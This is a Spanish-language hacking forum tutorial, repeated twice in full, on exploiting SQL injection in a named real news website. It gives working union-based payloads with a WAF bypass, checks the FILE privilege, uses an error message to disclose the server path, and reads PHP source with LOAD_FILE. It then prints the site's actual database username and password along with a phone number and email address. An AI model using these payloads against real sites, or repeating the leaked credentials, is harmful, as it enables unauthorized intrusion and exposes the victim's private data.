[center][size=24pt][i]Realizar FSD por medio de SQLI:[/i][/size][/center]
Veamos esta Web con SQLI:
http://www.lasemana.es/periodico/noticia.php?cod=34689
despues de explotar el sqli y Bypassear el WAF queda asi:
Vector:
http://www.lasemana.es/periodico/noticia.php?cod=34689 /*!50000union*/ /*!50000select*/ 1,2,3,0x6864627265616b6572,version(),6,user(),8,@@datadir,10,11,12,13,14,15,16 limit 1,1-- -c
como podemos ver, la inyección es Union Based, y saltamos un WAF que solo filtra union y select, ahora mi pregunta es si el usuario
lasema@localhost
Tiene privilegios de Apertura de Ficheros, nos fijamos de la siguiente manera:
Dentro de information_schema existe una tabla que se llama USER_PRIVILEGES,
Dentro de esta tabla existe 2 campos que nos interesan:
GRANTEE: Posee los nombre de usuario de la base de datos.
PRIVILEGE_TYPE: Tipo de privilegio que tiene el usuario.
entonces la logica, nos dice que tenemos que formular algo como esto:
select * from information_schema.USER_PRIVILEGES;
pero esto nos devolveria muchos usuarios que no nos interesan que permisos tienen,
nosotros queremos saber que permisos tiene: "lasema@localhost" espesificamente si tiene el permiso FILE, a mi se me ocurre algo como esto:
SELECT GRANTEE FROM INFORMATION_SCHEMA.USER_PRIVILEGES WHERE PRIVILEGE_TYPE="FILE";
esto nos mostraria todos los usuarios que tienen permisos FILE en la base de datos, entre eso buscaremos si se encuentra "lasema@localhost"
entonces acoplamos nuestra query sql a nuestra sentencia SQLI quedando de esta forma:
http://www.lasemana.es/periodico/noticia.php?cod=34689 /*!50000union*/ /*!50000select*/ 1,2,3,4,version(),6,user(),group_concat(GRANTEE),@@datadir,10,11,12,13,14,15,16 from information_schema.USER_PRIVILEGES WHERE PRIVILEGE_TYPE=0x46494c45 limit 1,1-- -c
donde 0x46494c45 es el hexadecimal de FILE (Esto lo hacemos ya que no podemos encapsular FILE entre ' ' o " ")
vemos que nos devuelve esto:
podemos ver que al usar group_concat, la injection no logra ser completamente visible desde la interface de usuario, por lo que nos aventuraremos a ver el Source Code y buscando la palabra root nos posicionaremos sobre la linea de la injection:
Como podemos observar "lasema" aparece en esa linea, por lo que podemos determinar que el usuario "lasema@localhost" tiene permisos de FILE y podemos realizar lectura de archivo.
Para esto implementaremos nuestro querido:
LOAD_FILE("RUTA/ARCHIVO")
Bueno lo primero que debemos lograr es un Patch Disclosure que nos diga donde estamos parado, para esto vamos a intentar generar un error con caracteres invalidos para la web:
A mi se me ocurre poner algo tan simple como una ' y logro obtener esta respuesta:
podemos apreciar:
Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /var/www/docs/lasemana.es/periodico/noticia.php on line 8
donde mysql nos vuelve a dar una mano y nos revela nuestro patch disclosure: /var/www/docs/lasemana.es/periodico/noticia.php
Recapitulando:
Gracias a nuestro usuario "lasema@localhost" que posee privilegios de FILE podremos realizar LOAD_FILE(RUTA) donde RUTA el path de nuestro Patch Disclosure!
Manos a la Obra:
Nuestra SQLI queda de esta Forma:
http://www.lasemana.es/periodico/noticia.php?cod=34689 /*!50000union*/ /*!50000select*/ 1,2,3,4,version(),6,user(),LOAD_FILE(0x2f7661722f7777772f646f63732f6c6173656d616e612e65732f706572696f6469636f2f6e6f74696369612e706870),@@datadir,10,11,12,13,14,15,16 limit 1,1-- -c
Donde 0x2f7661722f7777772f646f63732f6c6173656d616e612e65732f706572696f6469636f2f6e6f74696369612e706870 es el hexadeciman de: /var/www/docs/lasemana.es/periodico/noticia.php (Ruta de nuestro Path Disclouse)
y Observaremos algo que esta muy enquilombado y no se entiende nada XD
por lo que asumo que desde nuestro codigo fuente se vera mas ordenado :D
y vemos muy claramente, el usuario y password de la base de datos:
$usuario = "lasema";
$contraseña = "arcaliso";
$conexion = mysql_connect("localhost", "$usuario","$contraseña") or mail ("sms@alisys.net","607720916","Se ha caido el Servidor","From: SOPORTE <soporte@lasemana.es>");
Espero que les sea de Utilidad!
HD_Breaker
Veamos esta Web con SQLI:
http://www.lasemana.es/periodico/noticia.php?cod=34689
despues de explotar el sqli y Bypassear el WAF queda asi:
Vector:
http://www.lasemana.es/periodico/noticia.php?cod=34689 /*!50000union*/ /*!50000select*/ 1,2,3,0x6864627265616b6572,version(),6,user(),8,@@datadir,10,11,12,13,14,15,16 limit 1,1-- -c
como podemos ver, la inyección es Union Based, y saltamos un WAF que solo filtra union y select, ahora mi pregunta es si el usuario
lasema@localhost
Tiene privilegios de Apertura de Ficheros, nos fijamos de la siguiente manera:
Dentro de information_schema existe una tabla que se llama USER_PRIVILEGES,
Dentro de esta tabla existe 2 campos que nos interesan:
GRANTEE: Posee los nombre de usuario de la base de datos.
PRIVILEGE_TYPE: Tipo de privilegio que tiene el usuario.
entonces la logica, nos dice que tenemos que formular algo como esto:
select * from information_schema.USER_PRIVILEGES;
pero esto nos devolveria muchos usuarios que no nos interesan que permisos tienen,
nosotros queremos saber que permisos tiene: "lasema@localhost" espesificamente si tiene el permiso FILE, a mi se me ocurre algo como esto:
SELECT GRANTEE FROM INFORMATION_SCHEMA.USER_PRIVILEGES WHERE PRIVILEGE_TYPE="FILE";
esto nos mostraria todos los usuarios que tienen permisos FILE en la base de datos, entre eso buscaremos si se encuentra "lasema@localhost"
entonces acoplamos nuestra query sql a nuestra sentencia SQLI quedando de esta forma:
http://www.lasemana.es/periodico/noticia.php?cod=34689 /*!50000union*/ /*!50000select*/ 1,2,3,4,version(),6,user(),group_concat(GRANTEE),@@datadir,10,11,12,13,14,15,16 from information_schema.USER_PRIVILEGES WHERE PRIVILEGE_TYPE=0x46494c45 limit 1,1-- -c
donde 0x46494c45 es el hexadecimal de FILE (Esto lo hacemos ya que no podemos encapsular FILE entre ' ' o " ")
vemos que nos devuelve esto:
podemos ver que al usar group_concat, la injection no logra ser completamente visible desde la interface de usuario, por lo que nos aventuraremos a ver el Source Code y buscando la palabra root nos posicionaremos sobre la linea de la injection:
Como podemos observar "lasema" aparece en esa linea, por lo que podemos determinar que el usuario "lasema@localhost" tiene permisos de FILE y podemos realizar lectura de archivo.
Para esto implementaremos nuestro querido:
LOAD_FILE("RUTA/ARCHIVO")
Bueno lo primero que debemos lograr es un Patch Disclosure que nos diga donde estamos parado, para esto vamos a intentar generar un error con caracteres invalidos para la web:
A mi se me ocurre poner algo tan simple como una ' y logro obtener esta respuesta:
podemos apreciar:
Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /var/www/docs/lasemana.es/periodico/noticia.php on line 8
donde mysql nos vuelve a dar una mano y nos revela nuestro patch disclosure: /var/www/docs/lasemana.es/periodico/noticia.php
Recapitulando:
Gracias a nuestro usuario "lasema@localhost" que posee privilegios de FILE podremos realizar LOAD_FILE(RUTA) donde RUTA el path de nuestro Patch Disclosure!
Manos a la Obra:
Nuestra SQLI queda de esta Forma:
http://www.lasemana.es/periodico/noticia.php?cod=34689 /*!50000union*/ /*!50000select*/ 1,2,3,4,version(),6,user(),LOAD_FILE(0x2f7661722f7777772f646f63732f6c6173656d616e612e65732f706572696f6469636f2f6e6f74696369612e706870),@@datadir,10,11,12,13,14,15,16 limit 1,1-- -c
Donde 0x2f7661722f7777772f646f63732f6c6173656d616e612e65732f706572696f6469636f2f6e6f74696369612e706870 es el hexadeciman de: /var/www/docs/lasemana.es/periodico/noticia.php (Ruta de nuestro Path Disclouse)
y Observaremos algo que esta muy enquilombado y no se entiende nada XD
por lo que asumo que desde nuestro codigo fuente se vera mas ordenado :D
y vemos muy claramente, el usuario y password de la base de datos:
$usuario = "lasema";
$contraseña = "arcaliso";
$conexion = mysql_connect("localhost", "$usuario","$contraseña") or mail ("sms@alisys.net","607720916","Se ha caido el Servidor","From: SOPORTE <soporte@lasemana.es>");
Espero que les sea de Utilidad!
HD_Breaker